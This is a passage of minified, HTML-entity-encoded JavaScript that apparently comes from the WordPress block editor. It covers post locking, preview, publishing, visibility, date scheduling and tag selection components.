saved.&quot;),_):(0,fs.__)(&quot;Another user now has editing control of this post (&lt;PreviewLink /&gt;). Don’t worry, your changes up to this moment have been saved.&quot;),{strong:(0,L.jsx)(&quot;strong&quot;,{}),PreviewLink:(0,L.jsx)(Uo.ExternalLink,{href:g,children:(0,fs.__)(&quot;preview&quot;)})})}),!n&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;p&quot;,{children:(0,u.createInterpolateElement)(_?(0,fs.sprintf)((0,fs.__)(&quot;&lt;strong&gt;%s&lt;/strong&gt; is currently working on this post (&lt;PreviewLink /&gt;), which means you cannot make changes, unless you take over.&quot;),_):(0,fs.__)(&quot;Another user is currently working on this post (&lt;PreviewLink /&gt;), which means you cannot make changes, unless you take over.&quot;),{strong:(0,L.jsx)(&quot;strong&quot;,{}),PreviewLink:(0,L.jsx)(Uo.ExternalLink,{href:g,children:(0,fs.__)(&quot;preview&quot;)})})}),(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;If you take over, the other user will lose editing control to the post, but their changes will be saved.&quot;)})]}),(0,L.jsxs)(Uo.__experimentalHStack,{className:&quot;editor-post-locked-modal__buttons&quot;,justify:&quot;flex-end&quot;,children:[!n&amp;&amp;(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,href:b,children:(0,fs.__)(&quot;Take over&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,href:y,children:x})]})]})]})})}const Op=function({children:e}){const{hasPublishAction:t,isPublished:s}=(0,c.useSelect)((e=&gt;{var t;const{isCurrentPostPublished:s,getCurrentPost:o}=e(Ac);return{hasPublishAction:null!==(t=o()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t,isPublished:s()}}),[]);return s||!t?null:e};const Fp=function(){const e=(0,c.useSelect)((e=&gt;e(Ac).getEditedPostAttribute(&quot;status&quot;)),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Op,{children:(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Pending review&quot;),checked:&quot;pending&quot;===e,onChange:()=&gt;{t({status:&quot;pending&quot;===e?&quot;draft&quot;:&quot;pending&quot;})}})})};function Vp({className:e,textContent:t,forceIsAutosaveable:s,role:o,onPreview:n}){const{postId:i,currentPostLink:r,previewLink:a,isSaveable:l,isViewable:p}=(0,c.useSelect)((e=&gt;{var t;const s=e(Ac),o=e(d.store).getPostType(s.getCurrentPostType(&quot;type&quot;)),n=null!==(t=o?.viewable)&amp;&amp;void 0!==t&amp;&amp;t;return n?{postId:s.getCurrentPostId(),currentPostLink:s.getCurrentPostAttribute(&quot;link&quot;),previewLink:s.getEditedPostPreviewLink(),isSaveable:s.isEditedPostSaveable(),isViewable:n}:{isViewable:n}}),[]),{__unstableSaveForPreview:h}=(0,c.useDispatch)(Ac);if(!p)return null;const g=`wp-preview-${i}`,_=a||r;return(0,L.jsx)(Uo.Button,{variant:e?void 0:&quot;tertiary&quot;,className:e||&quot;editor-post-preview&quot;,href:_,target:g,accessibleWhenDisabled:!0,disabled:!l,onClick:async e=&gt;{e.preventDefault();const t=window.open(&quot;&quot;,g);t.focus(),function(e){let t=(0,u.renderToString)((0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-preview-button__interstitial-message&quot;,children:[(0,L.jsxs)(Uo.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 96 96&quot;,children:[(0,L.jsx)(Uo.Path,{className:&quot;outer&quot;,d:&quot;M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36&quot;,fill:&quot;none&quot;}),(0,L.jsx)(Uo.Path,{className:&quot;inner&quot;,d:&quot;M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z&quot;,fill:&quot;none&quot;})]}),(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Generating preview…&quot;)})]}));t+=&#039;\n\t\t&lt;style&gt;\n\t\t\tbody {\n\t\t\t\tmargin: 0;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-direction: column;\n\t\t\t\talign-items: center;\n\t\t\t\tjustify-content: center;\n\t\t\t\theight: 100vh;\n\t\t\t\twidth: 100vw;\n\t\t\t}\n\t\t\t@-webkit-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-moz-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-o-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg {\n\t\t\t\twidth: 192px;\n\t\t\t\theight: 192px;\n\t\t\t\tstroke: #555d66;\n\t\t\t\tstroke-width: 0.75;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg .outer,\n\t\t\t.editor-post-preview-button__interstitial-message svg .inner {\n\t\t\t\tstroke-dasharray: 280;\n\t\t\t\tstroke-dashoffset: 280;\n\t\t\t\t-webkit-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-moz-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-o-animation: paint 1.5s ease infinite alternate;\n\t\t\t\tanimation: paint 1.5s ease infinite alternate;\n\t\t\t}\n\t\t\tp {\n\t\t\t\ttext-align: center;\n\t\t\t\tfont-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Oxygen-Sans, Ubuntu, Cantarell, &quot;Helvetica Neue&quot;, sans-serif;\n\t\t\t}\n\t\t&lt;/style&gt;\n\t&#039;,t=(0,m.applyFilters)(&quot;editor.PostPreview.interstitialMarkup&quot;,t),e.write(t),e.title=(0,fs.__)(&quot;Generating preview…&quot;),e.close()}(t.document);const o=await h({forceIsAutosaveable:s});t.location=o,n?.()},role:o,size:&quot;compact&quot;,children:t||(0,L.jsxs)(L.Fragment,{children:[(0,fs._x)(&quot;Preview&quot;,&quot;imperative verb&quot;),(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]})})}function zp(){const e=(0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{isPublished:t,isBeingScheduled:s,isSaving:o,isPublishing:n,hasPublishAction:i,isAutosaving:r,hasNonPostEntityChanges:a,postStatusHasChanged:l,postStatus:d}=(0,c.useSelect)((e=&gt;{var t;const{isCurrentPostPublished:s,isEditedPostBeingScheduled:o,isSavingPost:n,isPublishingPost:i,getCurrentPost:r,getCurrentPostType:a,isAutosavingPost:l,getPostEdits:c,getEditedPostAttribute:d}=e(Ac);return{isPublished:s(),isBeingScheduled:o(),isSaving:n(),isPublishing:i(),hasPublishAction:null!==(t=r()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t,postType:a(),isAutosaving:l(),hasNonPostEntityChanges:e(Ac).hasNonPostEntityChanges(),postStatusHasChanged:!!c()?.status,postStatus:d(&quot;status&quot;)}}),[]);return n?(0,fs.__)(&quot;Publishing…&quot;):(t||s)&amp;&amp;o&amp;&amp;!r?(0,fs.__)(&quot;Saving…&quot;):i?a||t||l&amp;&amp;![&quot;future&quot;,&quot;publish&quot;].includes(d)||!l&amp;&amp;&quot;future&quot;===d?(0,fs.__)(&quot;Save&quot;):s?(0,fs.__)(&quot;Schedule&quot;):(0,fs.__)(&quot;Publish&quot;):e?(0,fs.__)(&quot;Publish&quot;):(0,fs.__)(&quot;Submit for Review&quot;)}const Up=()=&gt;{};class Hp extends u.Component{constructor(e){super(e),this.createOnClick=this.createOnClick.bind(this),this.closeEntitiesSavedStates=this.closeEntitiesSavedStates.bind(this),this.state={entitiesSavedStatesCallback:!1}}createOnClick(e){return(...t)=&gt;{const{hasNonPostEntityChanges:s,setEntitiesSavedStatesCallback:o}=this.props;return s&amp;&amp;o?(this.setState({entitiesSavedStatesCallback:()=&gt;e(...t)}),o((()=&gt;this.closeEntitiesSavedStates)),Up):e(...t)}}closeEntitiesSavedStates(e){const{postType:t,postId:s}=this.props,{entitiesSavedStatesCallback:o}=this.state;this.setState({entitiesSavedStatesCallback:!1},(()=&gt;{e&amp;&amp;e.some((e=&gt;&quot;postType&quot;===e.kind&amp;&amp;e.name===t&amp;&amp;e.key===s))&amp;&amp;o()}))}render(){const{forceIsDirty:e,hasPublishAction:t,isBeingScheduled:s,isOpen:o,isPostSavingLocked:n,isPublishable:i,isPublished:r,isSaveable:a,isSaving:l,isAutoSaving:c,isToggle:d,savePostStatus:u,onSubmit:p=Up,onToggle:m,visibility:h,hasNonPostEntityChanges:g,isSavingNonPostEntityChanges:_,postStatus:f,postStatusHasChanged:b}=this.props,y=(l||!a||n||!i&amp;&amp;!e)&amp;&amp;(!g||_),x=(r||l||!a||!i&amp;&amp;!e)&amp;&amp;(!g||_);let v=&quot;publish&quot;;b?v=f:t?&quot;private&quot;===h?v=&quot;private&quot;:s&amp;&amp;(v=&quot;future&quot;):v=&quot;pending&quot;;const S={&quot;aria-disabled&quot;:y,className:&quot;editor-post-publish-button&quot;,isBusy:!c&amp;&amp;l,variant:&quot;primary&quot;,onClick:this.createOnClick((()=&gt;{y||(p(),u(v))})),&quot;aria-haspopup&quot;:g?&quot;dialog&quot;:void 0},w={&quot;aria-disabled&quot;:x,&quot;aria-expanded&quot;:o,className:&quot;editor-post-publish-panel__toggle&quot;,isBusy:l&amp;&amp;r,variant:&quot;primary&quot;,size:&quot;compact&quot;,onClick:this.createOnClick((()=&gt;{x||m()})),&quot;aria-haspopup&quot;:g?&quot;dialog&quot;:void 0},k=d?w:S;return(0,L.jsx)(L.Fragment,{children:(0,L.jsx)(Uo.Button,{...k,className:`${k.className} editor-post-publish-button__button`,size:&quot;compact&quot;,children:(0,L.jsx)(zp,{})})})}}const Gp=(0,p.compose)([(0,c.withSelect)((e=&gt;{var t;const{isSavingPost:s,isAutosavingPost:o,isEditedPostBeingScheduled:n,getEditedPostVisibility:i,isCurrentPostPublished:r,isEditedPostSaveable:a,isEditedPostPublishable:l,isPostSavingLocked:c,getCurrentPost:d,getCurrentPostType:u,getCurrentPostId:p,hasNonPostEntityChanges:m,isSavingNonPostEntityChanges:h,getEditedPostAttribute:g,getPostEdits:_}=e(Ac);return{isSaving:s(),isAutoSaving:o(),isBeingScheduled:n(),visibility:i(),isSaveable:a(),isPostSavingLocked:c(),isPublishable:l(),isPublished:r(),hasPublishAction:null!==(t=d()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t,postType:u(),postId:p(),postStatus:g(&quot;status&quot;),postStatusHasChanged:_()?.status,hasNonPostEntityChanges:m(),isSavingNonPostEntityChanges:h()}})),(0,c.withDispatch)((e=&gt;{const{editPost:t,savePost:s}=e(Ac);return{savePostStatus:e=&gt;{t({status:e},{undoIgnore:!0}),s()}}}))])(Hp),$p=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;-2 -2 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z&quot;})}),Wp={public:{label:(0,fs.__)(&quot;Public&quot;),info:(0,fs.__)(&quot;Visible to everyone.&quot;)},private:{label:(0,fs.__)(&quot;Private&quot;),info:(0,fs.__)(&quot;Only visible to site admins and editors.&quot;)},password:{label:(0,fs.__)(&quot;Password protected&quot;),info:(0,fs.__)(&quot;Only those with the password can view this post.&quot;)}};function Zp({onClose:e}){const t=(0,p.useInstanceId)(Zp),{status:s,visibility:o,password:n}=(0,c.useSelect)((e=&gt;({status:e(Ac).getEditedPostAttribute(&quot;status&quot;),visibility:e(Ac).getEditedPostVisibility(),password:e(Ac).getEditedPostAttribute(&quot;password&quot;)}))),{editPost:i,savePost:r}=(0,c.useDispatch)(Ac),[a,l]=(0,u.useState)(!!n),[d,m]=(0,u.useState)(!1);return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-visibility&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Visibility&quot;),help:(0,fs.__)(&quot;Control how this post is viewed.&quot;),onClose:e}),(0,L.jsxs)(&quot;fieldset&quot;,{className:&quot;editor-post-visibility__fieldset&quot;,children:[(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;legend&quot;,children:(0,fs.__)(&quot;Visibility&quot;)}),(0,L.jsx)(Yp,{instanceId:t,value:&quot;public&quot;,label:Wp.public.label,info:Wp.public.info,checked:&quot;public&quot;===o&amp;&amp;!a,onChange:()=&gt;{i({status:&quot;private&quot;===o?&quot;draft&quot;:s,password:&quot;&quot;}),l(!1)}}),(0,L.jsx)(Yp,{instanceId:t,value:&quot;private&quot;,label:Wp.private.label,info:Wp.private.info,checked:&quot;private&quot;===o,onChange:()=&gt;{m(!0)}}),(0,L.jsx)(Yp,{instanceId:t,value:&quot;password&quot;,label:Wp.password.label,info:Wp.password.info,checked:a,onChange:()=&gt;{i({status:&quot;private&quot;===o?&quot;draft&quot;:s,password:n||&quot;&quot;}),l(!0)}}),a&amp;&amp;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-visibility__password&quot;,children:[(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;label&quot;,htmlFor:`editor-post-visibility__password-input-${t}`,children:(0,fs.__)(&quot;Create password&quot;)}),(0,L.jsx)(&quot;input&quot;,{className:&quot;editor-post-visibility__password-input&quot;,id:`editor-post-visibility__password-input-${t}`,type:&quot;text&quot;,onChange:e=&gt;{i({password:e.target.value})},value:n,placeholder:(0,fs.__)(&quot;Use a secure password&quot;)})]})]}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:d,onConfirm:()=&gt;{i({status:&quot;private&quot;,password:&quot;&quot;}),l(!1),m(!1),r()},onCancel:()=&gt;{m(!1)},confirmButtonText:(0,fs.__)(&quot;Publish&quot;),size:&quot;medium&quot;,children:(0,fs.__)(&quot;Would you like to privately publish this post now?&quot;)})]})}function Yp({instanceId:e,value:t,label:s,info:o,...n}){return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-visibility__choice&quot;,children:[(0,L.jsx)(&quot;input&quot;,{type:&quot;radio&quot;,name:`editor-post-visibility__setting-${e}`,value:t,id:`editor-post-${t}-${e}`,&quot;aria-describedby&quot;:`editor-post-${t}-${e}-description`,className:&quot;editor-post-visibility__radio&quot;,...n}),(0,L.jsx)(&quot;label&quot;,{htmlFor:`editor-post-${t}-${e}`,className:&quot;editor-post-visibility__label&quot;,children:s}),(0,L.jsx)(&quot;p&quot;,{id:`editor-post-${t}-${e}-description`,className:&quot;editor-post-visibility__info&quot;,children:o})]})}function Kp(){return qp()}function qp(){const e=(0,c.useSelect)((e=&gt;e(Ac).getEditedPostVisibility()));return Wp[e]?.label}function Qp(e){const t=Object.prototype.toString.call(e);return e instanceof Date||&quot;object&quot;==typeof e&amp;&amp;&quot;[object Date]&quot;===t?new e.constructor(+e):&quot;number&quot;==typeof e||&quot;[object Number]&quot;===t||&quot;string&quot;==typeof e||&quot;[object String]&quot;===t?new Date(e):new Date(NaN)}function Xp(e){const t=Qp(e);return t.setDate(1),t.setHours(0,0,0,0),t}function Jp(e){const t=Qp(e),s=t.getMonth();return t.setFullYear(t.getFullYear(),s+1,0),t.setHours(23,59,59,999),t}Math.pow(10,8);const em=6e4,tm=36e5;function sm(e,t){const s=t?.additionalDigits??2,o=function(e){const t={},s=e.split(om.dateTimeDelimiter);let o;if(s.length&gt;2)return t;/:/.test(s[0])?o=s[0]:(t.date=s[0],o=s[1],om.timeZoneDelimiter.test(t.date)&amp;&amp;(t.date=e.split(om.timeZoneDelimiter)[0],o=e.substr(t.date.length,e.length)));if(o){const e=om.timezone.exec(o);e?(t.time=o.replace(e[1],&quot;&quot;),t.timezone=e[1]):t.time=o}return t}(e);let n;if(o.date){const e=function(e,t){const s=new RegExp(&quot;^(?:(\\d{4}|[+-]\\d{&quot;+(4+t)+&quot;})|(\\d{2}|[+-]\\d{&quot;+(2+t)+&quot;})$)&quot;),o=e.match(s);if(!o)return{year:NaN,restDateString:&quot;&quot;};const n=o[1]?parseInt(o[1]):null,i=o[2]?parseInt(o[2]):null;return{year:null===i?n:100*i,restDateString:e.slice((o[1]||o[2]).length)}}(o.date,s);n=function(e,t){if(null===t)return new Date(NaN);const s=e.match(nm);if(!s)return new Date(NaN);const o=!!s[4],n=am(s[1]),i=am(s[2])-1,r=am(s[3]),a=am(s[4]),l=am(s[5])-1;if(o)return function(e,t,s){return t&gt;=1&amp;&amp;t&lt;=53&amp;&amp;s&gt;=0&amp;&amp;s&lt;=6}(0,a,l)?function(e,t,s){const o=new Date(0);o.setUTCFullYear(e,0,4);const n=o.getUTCDay()||7,i=7*(t-1)+s+1-n;return o.setUTCDate(o.getUTCDate()+i),o}(t,a,l):new Date(NaN);{const e=new Date(0);return function(e,t,s){return t&gt;=0&amp;&amp;t&lt;=11&amp;&amp;s&gt;=1&amp;&amp;s&lt;=(cm[t]||(dm(e)?29:28))}(t,i,r)&amp;&amp;function(e,t){return t&gt;=1&amp;&amp;t&lt;=(dm(e)?366:365)}(t,n)?(e.setUTCFullYear(t,i,Math.max(n,r)),e):new Date(NaN)}}(e.restDateString,e.year)}if(!n||isNaN(n.getTime()))return new Date(NaN);const i=n.getTime();let r,a=0;if(o.time&amp;&amp;(a=function(e){const t=e.match(im);if(!t)return NaN;const s=lm(t[1]),o=lm(t[2]),n=lm(t[3]);if(!function(e,t,s){if(24===e)return 0===t&amp;&amp;0===s;return s&gt;=0&amp;&amp;s&lt;60&amp;&amp;t&gt;=0&amp;&amp;t&lt;60&amp;&amp;e&gt;=0&amp;&amp;e&lt;25}(s,o,n))return NaN;return s*tm+o*em+1e3*n}(o.time),isNaN(a)))return new Date(NaN);if(!o.timezone){const e=new Date(i+a),t=new Date(0);return t.setFullYear(e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()),t.setHours(e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds(),e.getUTCMilliseconds()),t}return r=function(e){if(&quot;Z&quot;===e)return 0;const t=e.match(rm);if(!t)return 0;const s=&quot;+&quot;===t[1]?-1:1,o=parseInt(t[2]),n=t[3]&amp;&amp;parseInt(t[3])||0;if(!function(e,t){return t&gt;=0&amp;&amp;t&lt;=59}(0,n))return NaN;return s*(o*tm+n*em)}(o.timezone),isNaN(r)?new Date(NaN):new Date(i+a+r)}const om={dateTimeDelimiter:/[T ]/,timeZoneDelimiter:/[Z ]/i,timezone:/([Z+-].*)$/},nm=/^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/,im=/^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/,rm=/^([+-])(\d{2})(?::?(\d{2}))?$/;function am(e){return e?parseInt(e):1}function lm(e){return e&amp;&amp;parseFloat(e.replace(&quot;,&quot;,&quot;.&quot;))||0}const cm=[31,null,31,30,31,30,31,31,30,31,30,31];function dm(e){return e%400==0||e%4==0&amp;&amp;e%100!=0}const{PrivatePublishDateTimePicker:um}=$(h.privateApis);function pm(e){return(0,L.jsx)(mm,{...e,showPopoverHeaderActions:!0,isCompact:!1})}function mm({onClose:e,showPopoverHeaderActions:t,isCompact:s}){const{postDate:o,postType:n}=(0,c.useSelect)((e=&gt;({postDate:e(Ac).getEditedPostAttribute(&quot;date&quot;),postType:e(Ac).getCurrentPostType()})),[]),{editPost:i}=(0,c.useDispatch)(Ac),[r,a]=(0,u.useState)(Xp(new Date(o))),l=(0,c.useSelect)((e=&gt;e(d.store).getEntityRecords(&quot;postType&quot;,n,{status:&quot;publish,future&quot;,after:Xp(r).toISOString(),before:Jp(r).toISOString(),exclude:[e(Ac).getCurrentPostId()],per_page:100,_fields:&quot;id,date&quot;})),[r,n]),p=(0,u.useMemo)((()=&gt;(l||[]).map((({date:e})=&gt;({date:new Date(e)})))),[l]),m=(0,x.getSettings)(),h=/a(?!\\)/i.test(m.formats.time.toLowerCase().replace(/\\\\/g,&quot;&quot;).split(&quot;&quot;).reverse().join(&quot;&quot;));return(0,L.jsx)(um,{currentDate:o,onChange:e=&gt;i({date:e}),is12Hour:h,dateOrder:(0,fs._x)(&quot;dmy&quot;,&quot;date order&quot;),events:p,onMonthPreviewed:e=&gt;a(sm(e)),onClose:e,isCompact:s,showPopoverHeaderActions:t})}function hm(e){return gm(e)}function gm({full:e=!1}={}){const{date:t,isFloating:s}=(0,c.useSelect)((e=&gt;({date:e(Ac).getEditedPostAttribute(&quot;date&quot;),isFloating:e(Ac).isEditedPostDateFloating()})),[]);return e?_m(t):function(e,{isFloating:t=!1,now:s=new Date}={}){if(!e||t)return(0,fs.__)(&quot;Immediately&quot;);if(!function(e){const{timezone:t}=(0,x.getSettings)(),s=Number(t.offset),o=e.getTimezoneOffset()/60*-1;return s===o}(s))return _m(e);const o=(0,x.getDate)(e);if(fm(o,s))return(0,fs.sprintf)((0,fs.__)(&quot;Today at %s&quot;),(0,x.dateI18n)((0,fs._x)(&quot;g:i a&quot;,&quot;post schedule time format&quot;),o));const n=new Date(s);if(n.setDate(n.getDate()+1),fm(o,n))return(0,fs.sprintf)((0,fs.__)(&quot;Tomorrow at %s&quot;),(0,x.dateI18n)((0,fs._x)(&quot;g:i a&quot;,&quot;post schedule time format&quot;),o));if(o.getFullYear()===s.getFullYear())return(0,x.dateI18n)((0,fs._x)(&quot;F j g:i a&quot;,&quot;post schedule date format without year&quot;),o);return(0,x.dateI18n)((0,fs._x)(&quot;F j, Y g:i a&quot;,&quot;post schedule full date format&quot;),o)}(t,{isFloating:s})}function _m(e){const t=(0,x.getDate)(e),s=function(){const{timezone:e}=(0,x.getSettings)();if(e.abbr&amp;&amp;isNaN(Number(e.abbr)))return e.abbr;const t=e.offset&lt;0?&quot;&quot;:&quot;+&quot;;return`UTC${t}${e.offsetFormatted}`}(),o=(0,x.dateI18n)((0,fs._x)(&quot;F j, Y g:i a&quot;,&quot;post schedule full date format&quot;),t);return(0,fs.isRTL)()?`${s} ${o}`:`${o} ${s}`}function fm(e,t){return e.getDate()===t.getDate()&amp;&amp;e.getMonth()===t.getMonth()&amp;&amp;e.getFullYear()===t.getFullYear()}const bm=3,ym={per_page:10,orderby:&quot;count&quot;,order:&quot;desc&quot;,hide_empty:!0,_fields:&quot;id,name,count&quot;,context:&quot;view&quot;};function xm({onSelect:e,taxonomy:t}){const{_terms:s,showTerms:o}=(0,c.useSelect)((e=&gt;{const s=e(d.store).getEntityRecords(&quot;taxonomy&quot;,t.slug,ym);return{_terms:s,showTerms:s?.length&gt;=bm}}),[t.slug]);if(!o)return null;const n=$d(s);return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__flat-term-most-used&quot;,children:[(0,L.jsx)(Uo.BaseControl.VisualLabel,{as:&quot;h3&quot;,className:&quot;editor-post-taxonomies__flat-term-most-used-label&quot;,children:t.labels.most_used}),(0,L.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;editor-post-taxonomies__flat-term-most-used-list&quot;,children:n.map((t=&gt;(0,L.jsx)(&quot;li&quot;,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;e(t),children:t.name})},t.id)))})]})}const vm=[],Sm=100,wm={per_page:Sm,_fields:&quot;id,name&quot;,context:&quot;view&quot;},km=(e,t)=&gt;Hd(e).toLowerCase()===Hd(t).toLowerCase(),Cm=(e,t)=&gt;e.map((e=&gt;t.find((t=&gt;km(t.name,e)))?.id)).filter((e=&gt;void 0!==e)),Pm=({children:e,__nextHasNoMarginBottom:t})=&gt;t?(0,L.jsx)(Uo.__experimentalVStack,{spacing:4,children:e}):(0,L.jsx)(u.Fragment,{children:e});function jm({slug:e,__nextHasNoMarginBottom:t}){var s,o;const[n,i]=(0,u.useState)([]),[r,a]=(0,u.useState)(&quot;&quot;),l=(0,p.useDebounce)(a,500);t||w()(&quot;Bottom margin styles for wp.editor.PostTaxonomiesFlatTermSelector&quot;,{since:&quot;6.7&quot;,version:&quot;7.0&quot;,hint:&quot;Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version.&quot;});const{terms:m,termIds:h,taxonomy:g,hasAssignAction:_,hasCreateAction:f,hasResolvedTerms:b}=(0,c.useSelect)((t=&gt;{var s,o;const{getCurrentPost:n,getEditedPostAttribute:i}=t(Ac),{getEntityRecords:r,getEntityRecord:a,hasFinishedResolution:l}=t(d.store),c=n(),u=a(&quot;root&quot;,&quot;taxonomy&quot;,e),p=u?i(u.rest_base):vm,m={...wm,include:p?.join(&quot;,&quot;),per_page:-1};return{hasCreateAction:!!u&amp;&amp;(null!==(s=c._links?.[&quot;wp:action-create-&quot;+u.rest_base])&amp;&amp;void 0!==s&amp;&amp;s),hasAssignAction:!!u&amp;&amp;(null!==(o=c._links?.[&quot;wp:action-assign-&quot;+u.rest_base])&amp;&amp;void 0!==o&amp;&amp;o),taxonomy:u,termIds:p,terms:p?.length?r(&quot;taxonomy&quot;,e,m):vm,hasResolvedTerms:l(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,e,m])}}),[e]),{searchResults:y}=(0,c.useSelect)((t=&gt;{const{getEntityRecords:s}=t(d.store);return{searchResults:r?s(&quot;taxonomy&quot;,e,{...wm,search:r}):vm}}),[r,e]);(0,u.useEffect)((()=&gt;{if(b){const e=(null!=m?m:[]).map((e=&gt;Hd(e.name)));i(e)}}),[m,b]);const x=(0,u.useMemo)((()=&gt;(null!=y?y:[]).map((e=&gt;Hd(e.name)))),[y]),{editPost:v}=(0,c.useDispatch)(Ac),{saveEntityRecord:S}=(0,c.useDispatch)(d.store),{createErrorNotice:k}=(0,c.useDispatch)(_s.store);if(!_)return null;function C(e){v({[g.rest_base]:e})}const P=null!==(s=g?.labels?.add_new_item)&amp;&amp;void 0!==s?s:&quot;post_tag&quot;===e?(0,fs.__)(&quot;Add new tag&quot;):(0,fs.__)(&quot;Add new Term&quot;),j=null!==(o=g?.labels?.singular_name)&amp;&amp;void 0!==o?o:&quot;post_tag&quot;===e?(0,fs.__)(&quot;Tag&quot;):(0,fs.__)(&quot;Term&quot;),E=(0,fs.sprintf)((0,fs._x)(&quot;%s added&quot;,&quot;term&quot;),j),T=(0,fs.sprintf)((0,fs._x)(&quot;%s removed&quot;,&quot;term&quot;),j),B=(0,fs.sprintf)((0,fs._x)(&quot;Remove %s&quot;,&quot;term&quot;),j);return(0,L.jsxs)(Pm,{__nextHasNoMarginBottom:t,children:[(0,L.jsx)(Uo.FormTokenField,{__next40pxDefaultSize:!0,value:n,suggestions:x,onChange:function(t){const 